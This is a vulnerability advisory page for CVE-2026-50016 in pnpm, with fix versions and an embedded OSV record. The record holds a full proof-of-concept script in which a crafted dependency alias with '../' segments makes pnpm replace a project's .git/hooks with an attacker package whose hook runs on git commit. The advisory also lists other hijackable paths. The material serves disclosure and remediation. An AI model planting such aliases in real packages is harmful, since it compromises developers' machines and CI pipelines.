CVE-2026-50016: pnpm Path Traversal Vulnerability
HIGHCVE-2026-50016 is a HIGH (CVSS 8.8) path traversal vulnerability (CWE-23: Relative Path Traversal) affecting pnpm libraries in the npm ecosystem. The issue involves transitive dependency alias path traversal allows project path override via symlink replacement. Remediation is available by upgrading affected packages to version 10.34.0, 11.4.0.
CVE-2026-50016 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-50016
To remediate this vulnerability, upgrade all affected pnpm dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install pnpm@10.34.0
npm install pnpm@11.4.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls pnpm
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-50016, inspect your project dependencies using npm:
npm ls pnpm
Analyze the terminal output to locate any version of pnpm in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 10.34.0), your application is affected.
Note: The npm ls pnpm command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-23: Relative Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory. In pnpm, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-50016 Affected pnpm Versions
2 component(s)References
Frequently Asked Questions
What is CVE-2026-50016?
Which pnpm versions are affected?
What version fixes CVE-2026-50016?
Is pnpm affected?
What is the CVSS score of CVE-2026-50016?
What CWE is associated with CVE-2026-50016?
How can I check npm dependencies for CVE-2026-50016?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-hwx4-2j3j-g496",
"modified" : "2026-06-26T22:55:51Z",
"published" : "2026-06-26T22:55:51Z",
"aliases" : [ "CVE-2026-50016" ],
"summary" : "pnpm: Transitive dependency alias path traversal allows project path override via symlink replacement",
"details" : "## Summary\n\npnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause `pnpm install - ignore-scripts` to replace paths in the current project with symlinks to attacker-controlled dependency package directories.\n\n`.git/hooks` is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:\n\n- `.husky` or `.githooks` for Git hook dispatchers\n- `scripts/`, `tools/`, `bin/`, or `tests/` for project scripts and CI commands\n- `.github/actions/<name>` for local GitHub Actions used later in the workflow\n- `dist/` or other publish/build output directories before `pnpm pack` or\n `pnpm publish`\n- `node_modules/.bin` or undeclared `node_modules/<name>` paths used by later\n command or module resolution\n\nTargets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.\n\nThis was reproduced with `pnpm@11.2.1`.\n\n## Impact\n\nUsers often run `pnpm install --ignore-scripts` expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.\n\nExamples include `git commit`, `pnpm test`, `pnpm run build`, a CI step that uses a local GitHub Action, or `pnpm publish` packaging a replaced `dist/` directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces `.git/hooks`, and the payload runs when the victim later executes `git commit`.\n\n## Root Cause\n\npnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination `node_modules` directory and passed to the symlink creation logic without rejecting `..` segments or checking that the normalized result stays inside the intended `node_modules` directory.\n\nConceptually, a transitive alias like this:\n\n```json\n{\n \"@x/../../../../../.git/hooks\": \"npm:payload-hooks@1.0.0\"\n}\n```\n\nis eventually treated like:\n\n```text\npath.join(parentPackageNodeModulesDir, \"@x/../../../../../.git/hooks\")\n```\n\nThe normalized destination escapes the dependency's `node_modules` directory and lands at the victim project's `.git/hooks` path. pnpm then creates a symlink at that escaped destination to the resolved `payload-hooks` package directory.\n\nThe dependency chain is:\n\n```text\nvictim installs normal@1.0.0\nnormal@1.0.0 -> bad@1.0.0\nbad@1.0.0 -> payload-hooks@1.0.0 through a traversal alias\n```\n\nThe malicious transitive package metadata contains:\n\n```json\n{\n \"@x/../../../../../.git/hooks\": \"npm:payload-hooks@1.0.0\"\n}\n```\n\nBecause this uses an `npm:` registry alias, it does not rely on a transitive `file:` or `link:` dependency.\n\n## Proof Of Concept\n\nRun:\n\n```sh\n./run.sh\n```\n\n``` sh\n#!/bin/sh\nset -eu\n\nSCRIPT_DIR=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\nWORKDIR=\"$SCRIPT_DIR/demo-workdir\"\nREGISTRY_DIR=\"$WORKDIR/registry\"\nTARBALLS_DIR=\"$REGISTRY_DIR/tarballs\"\nVICTIM_DIR=\"$WORKDIR/victim\"\nREADY_FILE=\"$WORKDIR/registry-ready\"\nPORT_FILE=\"$WORKDIR/registry-port\"\n\nrm -rf \"$WORKDIR\"\nmkdir -p \"$REGISTRY_DIR/payload-hooks\" \"$REGISTRY_DIR/bad\" \"$REGISTRY_DIR/normal\" \"$TARBALLS_DIR\" \"$VICTIM_DIR\"\n\ncat > \"$REGISTRY_DIR/payload-hooks/package.json\" <<'JSON'\n{\n \"name\": \"payload-hooks\",\n \"version\": \"1.0.0\",\n \"bin\": {\n \"pre-commit\": \"pre-commit\"\n },\n \"files\": [\n \"pre-commit\"\n ]\n}\nJSON\n\ncat > \"$REGISTRY_DIR/payload-hooks/pre-commit\" <<'EOF'\n#!/bin/sh\necho PWNED >&2\nexit 0\nEOF\nchmod +x \"$REGISTRY_DIR/payload-hooks/pre-commit\"\n\ncat > \"$REGISTRY_DIR/bad/package.json\" <<'JSON'\n{\n \"name\": \"bad\",\n \"version\": \"1.0.0\",\n \"description\": \"transitive registry package\",\n \"dependencies\": {\n \"@x/../../../../../.git/hooks\": \"npm:payload-hooks@1.0.0\"\n }\n}\nJSON\n\ncat > \"$REGISTRY_DIR/normal/package.json\" <<'JSON'\n{\n \"name\": \"normal\",\n \"version\": \"1.0.0\",\n \"description\": \"normal looking package from a registry\",\n \"dependencies\": {\n \"bad\": \"1.0.0\"\n }\n}\nJSON\n\n(cd \"$REGISTRY_DIR/payload-hooks\" && npm pack --pack-destination \"$TARBALLS_DIR\" --silent >/dev/null)\n(cd \"$REGISTRY_DIR/bad\" && npm pack --pack-destination \"$TARBALLS_DIR\" --silent >/dev/null)\n(cd \"$REGISTRY_DIR/normal\" && npm pack --pack-destination \"$TARBALLS_DIR\" --silent >/dev/null)\n\nnode - \"$REGISTRY_DIR\" \"$READY_FILE\" \"$PORT_FILE\" <<'NODE' &\nconst http = require('node:http')\nconst fs = require('node:fs')\nconst path = require('node:path')\nconst { execFileSync } = require('node:child_process')\n\nconst [registryDir, readyFile, portFile] = process.argv.slice(2)\nconst tarballsDir = path.join(registryDir, 'tarballs')\n\nfunction shasum (filename) {\n return execFileSync('openssl', ['dgst', '-sha1', path.join(tarballsDir, filename)])\n .toString()\n .trim()\n .split(/\\s+/)\n .pop()\n}\n\nfunction integrity (filename) {\n return 'sha512-' + execFileSync('openssl', ['dgst', '-sha512', '-binary', path.join(tarballsDir, filename)])\n .toString('base64')\n}\n\nfunction packument (pkgName, req) {\n const filename = `${pkgName}-1.0.0.tgz`\n const manifest = JSON.parse(fs.readFileSync(path.join(registryDir, pkgName, 'package.json'), 'utf8'))\n const origin = `http://${req.headers.host}`\n return {\n name: pkgName,\n 'dist-tags': {\n latest: '1.0.0',\n },\n versions: {\n '1.0.0': {\n ...manifest,\n dist: {\n tarball: `${origin}/${pkgName}/-/${filename}`,\n shasum: shasum(filename),\n integrity: integrity(filename),\n },\n },\n },\n }\n}\n\nconst server = http.createServer((req, res) => {\n const pathname = new URL(req.url, 'http://local.invalid').pathname\n if (req.method !== 'GET') {\n res.writeHead(405)\n res.end('method not allowed')\n return\n }\n if (pathname === '/normal' || pathname === '/bad' || pathname === '/payload-hooks') {\n const pkgName = pathname.slice(1)\n res.writeHead(200, { 'content-type': 'application/json' })\n res.end(JSON.stringify(packument(pkgName, req)))\n return\n }\n const tarballMatch = pathname.match(/^\\/(normal|bad|payload-hooks)\\/-\\/(.+\\.tgz)$/)\n if (tarballMatch) {\n const file = path.join(tarballsDir, tarballMatch[2])\n res.writeHead(200, { 'content-type': 'application/octet-stream' })\n fs.createReadStream(file).pipe(res)\n return\n }\n res.writeHead(404)\n res.end('not found')\n})\n\nserver.listen(0, '127.0.0.1', () => {\n fs.writeFileSync(portFile, String(server.address().port))\n fs.writeFileSync(readyFile, 'ready')\n})\nNODE\nREGISTRY_PID=$!\ntrap 'kill \"$REGISTRY_PID\" 2>/dev/null || true' EXIT INT TERM\n\nWAIT_COUNT=0\nwhile [ ! -f \"$READY_FILE\" ]; do\n WAIT_COUNT=$((WAIT_COUNT + 1))\n if [ \"$WAIT_COUNT\" -gt 100 ]; then\n echo \"local registry did not start\" >&2\n exit 1\n fi\n sleep 0.05\ndone\nREGISTRY_PORT=$(cat \"$PORT_FILE\")\n\ncd \"$VICTIM_DIR\"\ngit init -q\ngit config user.email demo@example.invalid\ngit config user.name \"Demo User\"\n\ncat > package.json <<'JSON'\n{\n \"name\": \"victim\",\n \"version\": \"1.0.0\"\n}\nJSON\n\ncat > .npmrc <<EOF\nregistry=http://127.0.0.1:$REGISTRY_PORT/\nEOF\n\nprintf 'pnpm: '\npnpm --version\nprintf 'registry: http://127.0.0.1:%s/\\n' \"$REGISTRY_PORT\"\nprintf 'victim: %s\\n\\n' \"$VICTIM_DIR\"\n\npnpm install normal@1.0.0 --ignore-scripts --config.confirmModulesPurge=false --reporter=silent\n\necho 'trigger commit' > change.txt\ngit add change.txt\n\nset +e\nCOMMIT_STDERR=$(git commit -m 'trigger pre-commit' 2>&1 >/dev/null)\nCOMMIT_STATUS=$?\nset -e\n\nprintf '\\ngit commit exit code: %s\\n' \"$COMMIT_STATUS\"\nprintf 'git commit stderr:\\n%s\\n' \"$COMMIT_STDERR\"\n\n```\n\nThe script starts a local npm-compatible registry, writes a victim project `.npmrc` that points to that registry, installs `normal@1.0.0` with `--ignore-scripts`, and then triggers `git commit`.\n\nRequirements:\n\n```text\npnpm\nnpm\nnode\ngit\nopenssl\n```\n\nExpected output:\n\n```text\ngit commit exit code: 0\ngit commit stderr:\nPWNED\n```\n\n`PWNED` is printed by the attacker-controlled `pre-commit` hook from the `payload-hooks` package.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "pnpm"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "10.34.0"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "pnpm"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "11.0.0"
}, {
"fixed" : "11.4.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pnpm/pnpm/security/advisories/GHSA-hwx4-2j3j-g496"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-50016"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pnpm/pnpm"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-23" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-26T22:55:51Z",
"nvd_published_at" : "2026-06-25T18:16:39Z"
}
}